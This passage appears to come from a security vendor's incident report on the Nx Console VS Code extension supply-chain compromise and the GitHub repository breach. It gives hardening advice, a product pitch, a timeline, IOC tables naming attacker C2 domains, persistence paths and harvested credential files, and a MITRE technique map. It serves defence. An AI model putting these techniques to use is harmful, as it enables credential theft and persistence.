- Enforce dependency cooldowns of 24 to 72 hours for non-critical updates. Public detection of supply chain attacks typically lands within hours; a short hold provides a real detection window. The Bitwarden CLI compromise was detected and deprecated in 93 minutes, but Dependabot pulled the package during that window because no cooldown was in place.
- Configure CI runners with IMDSv2 and a hop limit of 1 so containerized builds cannot reach instance metadata. This blocks the IMDS credential pivot path TeamPCP has used in every campaign since Trivy.
- Apply egress firewall rules to CI runners. Allow GET to the npm registry and to github.com/oven-sh/bun/releases only if Bun is part of your stack. Block PUT and POST to the npm registry from runners that do not publish packages.
Long-Term Hardening
OIDC trusted publishing is a security improvement over long-lived tokens, but only when the workflow producing the short-lived token is itself trusted and workflow-scoped. Audit every pull_request_target workflow that has access to publishing identities. Require manual approval for first-party publish workflows triggered by pull requests.
Enforce signed commits at branch protection for all release-adjacent branches, including non-main branches that can trigger publish workflows. The Bitwarden compromise commit was unsigned in a repository requiring signed commits, which was a visible integrity signal at the moment of exploitation. The same pattern recurred across the Trivy and KICS tag-poisoning attacks.
Maintain a centralized allowlist for VS Code extensions across the organization. Treat the developer IDE the same way you treat production runtime: a controlled deployment environment with managed inventory.
Consider a supply chain firewall product (sometimes called a package firewall or malware firewall) that performs real-time analysis of npm/PyPI installs and blocks based on policy. These tools require another agent on developer machines and are only as good as their malware feeds, but they catch a class of attack that EDR and SCA both miss.
Phoenix Security platform recommendations
The GitHub breach lines up with the controls Phoenix Security has been building against for the last six months. The short version: a CVE-feed-driven program will miss the modern supply chain attacker entirely. The longer version is what Phoenix does about it.
Code-to-cloud attribution maps every package, extension, and lifecycle script in the environment back to the team that owns it and forward to the workloads where the code runs. A compromised VS Code extension or npm package is contextualized against actual production blast radius, rather than against an abstract CVSS score that does not exist for this class of attack anyway.
Reachability-driven blast radius analysis is the only way to make –ignore-scripts policy decisions at scale without breaking legitimate builds. Rather than flagging every package with a lifecycle hook as critical, Phoenix identifies which hooks are reachable in a specific dependency graph and execution context, and then maps the downstream credential and package-publishing exposure for each.
Lifecycle script change detection flags new or changed preinstall, postinstall, and prepare entries across the dependency graph the moment they appear. The same detection logic flags the more recent variant the Nx Console attack used: a bin field that points at an orphan-commit npx fetch, which evades lifecycle-hook scanners by relying on the binary entry point rather than postinstall.
Provenance verification needs to be more than a signature check. The Nx Console payload includes full Fulcio, Rekor, SLSA, and npm OIDC integration, which means packages with valid signed provenance can still be malicious. Phoenix performs content-based and behavioral analysis on the package itself in addition to provenance verification, so a forged-but-cryptographically-valid attestation does not get a pass purely on signature.
Phoenix maps pull_request_target workflows with sensitive permission grants across an entire GitHub organization. Configurations that match the TeamPCP initial access pattern (the Bitwarden vector, the Trivy vector, the Checkmarx vector, and the Nx contributor-token theft vector) surface before compromise occurs, not after.
When a compromise is confirmed or suspected, Phoenix creates a remediation campaign that maps every affected repository, assigns ownership, and tracks fix verification against runtime exposure. Incident response stops being distributed manual work and becomes a tracked workflow with named owners.
Developer tooling is treated as Tier-0 in this model. Phoenix monitors the supply chain posture of Trivy, KICS, Bitwarden CLI, LiteLLM, Nx Console, and similar tools with the same controls applied to production dependencies. The pattern this year has demonstrated that security tooling is not trusted infrastructure. It is a high-value attack surface, and a CVE list is not the right inventory of it.
The winning control against this class of attack is provenance tracking, ownership mapping, code-to-cloud attribution, CI workflow visibility, reachability-driven blast radius reduction, and content-based analysis that does not rely solely on signature verification. A CVE feed does not produce any of those signals. ASPM is where the work has to be done.
Timeline (May 18–20, 2026)
| Time (UTC) | Event |
|---|---|
| Prior incident, date undisclosed | Nx contributor’s GitHub PAT scraped in an earlier supply chain attack (specific prior attack not publicly identified) |
| May 18, 03:18 | Orphan commit 558b09d7 pushed to nrwl/nx under spoofed identity (zack@nrwl.io, unsigned); commit message includes fake “wiper activates” social-engineering threat |
| May 18, 12:36 | nrwl.angular-console v18.95.0 published to VS Code Marketplace using stolen VSCE_PAT |
| May 18, 12:36–12:47 | Auto-update window. Any VS Code, Cursor, or Windsurf instance that updated during these 11 minutes and then opened a workspace executed the dropper |
| May 18, 12:47 | Nx maintainers detect rogue publish, pull extension from Marketplace, publish GHSA-c9j4-9m59-847w |
| May 18, later | Nx publishes remediated v18.100.0 |
| May 18, 14:19 (sample) | StepSecurity Dev Machine Guard scans publicly published showing detection of the malicious version on affected endpoints |
| May 19, ~during day | Wiz Research publishes coordinated @antv compromise writeup; identifies nrwl.angular-console v18.95.0 as part of the same TeamPCP wave alongside the @antv npm namespace and actions-cool/issues-helper |
| May 19 | GitHub detects compromise of employee device, removes the extension, isolates the endpoint, begins incident response |
| May 19, evening UTC | GitHub publishes initial X post acknowledging investigation of unauthorized access to internal repositories |
| May 19, overnight | Critical secret rotation begins; highest-impact credentials prioritized first |
| May 20, ~03:00 UTC | TeamPCP listing on cybercrime forums for sale of ~4,000 GitHub-internal repositories, offers above $50,000 |
| May 20, 05:04 (GitHub post timestamp) | GitHub publishes follow-up thread: detected and contained, removed the malicious extension version, isolated the endpoint, confirms attacker’s ~3,800-repo claim is directionally consistent with investigation |
| May 20, ongoing | Log analysis, secret rotation validation, monitoring for follow-on activity |
Indicators of Compromise
Nx Console payload (May 18, 2026)
| Type | Indicator | Context |
|---|---|---|
| Malicious VSIX SHA-256 | 1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 | nrwl.angular-console v18.95.0 package |
| Malicious main.js SHA-256 | b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 | Extension entry point with 2,777 bytes injected at offset 7,703,700 |
| Obfuscated payload SHA-256 | e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1 | 498 KB index.js from orphan commit |
| Dropper package.json SHA-256 | 43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9 | Two-file repo root in orphan commit tree |
| Clean VSIX SHA-256 | 228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3 | v18.94.0 (legitimate prior) |
| Remediated VSIX SHA-256 | cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990 | v18.100.0 (clean update target) |
| Malicious orphan commit SHA | 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 | Zero parents, unreachable from any branch in nrwl/nx |
| Commit tree SHA | ba642fe2c7c65e42dd7f6444b83023dc6827e08c | Two-file tree replacing entire monorepo |
| index.js blob SHA | acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf | Obfuscated dropper |
| package.json blob SHA | 9d88f040c44b5f4d5f9db15ff89310776c168e99 | Dropper manifest |
| Persistence file | ~/.local/share/kitty/cat.py | Python C2 backdoor |
| Persistence file | ~/Library/LaunchAgents/com.user.kitty-monitor.plist | macOS LaunchAgent (RunAtLoad + hourly) |
| Staging directory | /tmp/kitty-* | Bun runtime staging |
| Anti-replay state | /var/tmp/.gh_update_state | Backdoor execution record |
| VS Code globalState key | nxConsole.mcpExtensionInstalledSha = 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 | Anti-re-trigger marker |
| Environment variable | __DAEMONIZED=1 | Daemonization flag on detached child process |
| Process indicator | python3 with cat.py argument | Active C2 polling |
| Network: C2 dead-drop | api.github.com/search/commits?q=firedalazer | Python backdoor hourly poll |
| Network: AWS pivot | 169.254.169.254 (IMDS), 169.254.170.2 (ECS metadata) | AWS credential theft |
| Network: Vault probe | 127.0.0.1:8200 | HashiCorp Vault local endpoint |
| Network: Sigstore | fulcio.sigstore.dev, rekor.sigstore.dev | Attestation forgery infrastructure |
| Network: runtime download | bun.sh/install | Bun runtime install for persistence |
| Network: encrypted C2 | (PBKDF2-encrypted in payload; not statically recoverable) | HTTPS exfiltration channel on port 443 |
Domains and network (cross-campaign TeamPCP indicators)
| Type | Indicator | Context |
|---|---|---|
| C2 / Exfil | audit.checkmarx[.]cx | Bitwarden CLI compromise; resolves 94.154.172.43 |
| C2 / Exfil | checkmarx[.]zone | KICS / AST / OpenVSX compromise |
| C2 / Exfil | scan.aquasecurtiy[.]org | Trivy stealer (typosquat of aquasecurity); 45.148.10.212 |
| C2 / Exfil | git-tanstack[.]com | Mini Shai-Hulud TanStack wave |
| C2 / Exfil | api.masscan[.]cloud | Mini Shai-Hulud TanStack wave |
| C2 (DDoS) | *.lhr.life | Mini Shai-Hulud copycat C2 (free SSH-tunnel-as-a-service) |
| C2 | *.getsession.org | Session messenger peer-to-peer C2 channel |
| ICP gateway | *.icp0.io | CanisterWorm blockchain C2 |
Files and process artifacts (cross-campaign)
| Type | Indicator | Context |
|---|---|---|
| Loader | bw_setup.js (132 lines plaintext) | Bun runtime bootstrap (Bitwarden) |
| Loader | setup.mjs | Mini Shai-Hulud npm preinstall hook |
| Loader | router_init.js | Mini Shai-Hulud TanStack variant |
| Loader | tanstack_runner.js | TanStack-specific payload |
| Persistence | ~/.local/share/pgmon/service.py | CanisterWorm systemd persistence |
| Persistence | ~/.config/sysmon.py | Trivy binary dropper |
| Persistence | /tmp/tmp.987654321.lock | Bitwarden CLI single-instance guard |
| Workflow | .github/workflows/format-check.yml | Injected secrets-dump workflow |
| Artifact | format-results.txt | Serialized secrets exfil from injected workflow |
| Config | .vscode/tasks.json with runOn: folderOpen | TasksJacker / PolinRider / Mini Shai-Hulud |
| Config | .claude/settings.json with SessionStart hook | AI agent persistence (Mini Shai-Hulud) |
Repository markers
| Type | Indicator |
|---|---|
| Repository description | “Shai-Hulud: The Third Coming” |
| Repository description | “Mini Shai-Hulud” |
| Repository naming pattern | {dune_word}-{dune_word}-{3digits} |
| GitHub search string | LongLiveTheResistanceAgainstMachines |
| GitHub search string | OhNoWhatsGoingOnWithGitHub |
| GitHub search string | A Gift From TeamPCP |
| GitHub search string (Nx Console payload C2) | firedalazer |
MITRE ATT&CK Techniques
| Technique | Description | Campaign Application |
|---|---|---|
| T1195.002 | Supply Chain Compromise: Software Supply Chain | Poisoned VS Code extension, npm packages, GitHub Actions, container images |
| T1195.001 | Supply Chain Compromise: Software Dependencies and Development Tools | Extension marketplace abuse, lifecycle script weaponization, orphan-commit dropper |
| T1199 | Trusted Relationship | npm Trusted Publishing OIDC abuse, Sigstore attestation forgery |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | VS Code Task ShellExecution with disguised install-mcp-extension name |
| T1059.006 | Command and Scripting Interpreter: Python | cat.py C2 backdoor |
| T1003 | OS Credential Dumping | /proc/[pid]/mem reading for Runner.Worker secrets |
| T1552.001 | Unsecured Credentials: Credentials in Files | .npmrc, .aws/credentials, .git-credentials, .env, ~/.claude/ harvesting |
| T1552.004 | Unsecured Credentials: Private Keys | SSH keys, TLS material |
| T1552.005 | Cloud Instance Metadata API | EC2 IMDS for credential pivot |
| T1543.001 | Create or Modify System Process: Launch Agent | com.user.kitty-monitor.plist macOS LaunchAgent |
| T1543.002 | Create/Modify System Process: Systemd Service | pgmon.service persistence (CanisterWorm) |
| T1546 | Event Triggered Execution | VS Code Task auto-run, preinstall hook, AI agent SessionStart hook |
| T1547.006 | Boot or Logon Autostart Execution | Shell RC injection (~/.bashrc, ~/.zshrc) |
| T1102.001 | Web Service: Dead Drop Resolver | GitHub Search API polling for firedalazer commits |
| T1567.002 | Exfiltration to Cloud Storage | Victim-account GitHub repositories as dead drop |
| T1572 | Protocol Tunneling | DNS tunneling as fallback exfil channel |
| T1132 | Data Encoding | AES-256-GCM + RSA-OAEP-SHA256 hybrid encryption |
| T1027.013 | Obfuscated Files: Encrypted/Encoded File | PBKDF2 + custom-Base64 string table + 14 encrypted binary blobs |
| T1078 | Valid Accounts | Stolen contributor GitHub PAT and VSCE_PAT |
| T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Linux passwordless-sudo injection |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | CPU count check, geolocation filter, GitHub Actions self-exclusion |
External References
- GitHub on X (@github), May 20, 2026: Incident disclosure thread on internal repository breach
- StepSecurity: Nx Console v18.95.0 VS Code Extension Supply Chain Attack Technical Analysis (May 18-19, 2026)
- Nx maintainers: GitHub Security Advisory GHSA-c9j4-9m59-847w (May 18, 2026)
- Nx Console Issue #3139: Maintainer MaxKless confirms contributor GitHub token theft as initial access vector
- KuCoin News: GitHub Confirms Internal Repository Breach via Malicious VS Code Extension (May 20, 2026)
- Wiz Research: The Worm That Keeps on Digging: TeamPCP Hits @antv in Latest Wave (May 19, 2026)
- Wiz Research: Dismantling a Critical Supply Chain Risk in VSCode Extension Marketplaces (Rami McCarthy, October 15, 2025)
- OpenSourceMalware (jenn): How malware abuses npm lifecycle scripts and VS Code tasks (May 14, 2026)
- Datadog Security Labs: Shai-Hulud Goes Open Source (May 2026)
- OX Security: Shai-Hulud Goes Open Source: Malware Creators Leak Their Own Code to GitHub
- OX Security: New Actors Deploy Shai-Hulud Clones: TeamPCP Copycats Are Here
- The Register: Malware crew TeamPCP open-sources its Shai-Hulud worm on GitHub (May 13, 2026)
- SC Media: TeamPCP releases ‘vibe coded’ Shai-Hulud source code, issues challenge
- Hive Pro: Mini Shai-Hulud npm Supply Chain Worm: TanStack and Multi-Ecosystem Compromise
- Aikido Security: Mini Shai-Hulud Is Back
- SecurityWeek and Security Boulevard: TeamPCP / Mini Shai-Hulud coverage and 1,800+ developer count
- Microsoft VSCode Marketplace: Upcoming Security Enhancement: Secret Detection for Extensions
- StepSecurity Dev Machine Guard (open source): github.com/step-security/dev-machine-guard
- Phoenix Security: Sha1-Hulud Full Analysis V3 and prior Phoenix Security archive at phoenix.security
- Phoenix Security Shai-Hulud scanner: github.com/Security-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanner
- CybersecurityNews: GitHub Hacked: Internal Source Code Repositories Compromised via Employee Device (May 20, 2026)
- How2Shout: GitHub Confirms Internal Repository Breach: 3,800 Repos Exfiltrated via Poisoned VS Code Extension
- News9: GitHub Internal Repo Breach Probe: TeamPCP Claim, VS Code Extension Attack, Customer Data Status (UNC6780 attribution)
- SlowMist Threat Intelligence Team: MistEye TI Alert on Mini Shai-Hulud propagation through @antv, echarts-for-react, durabletask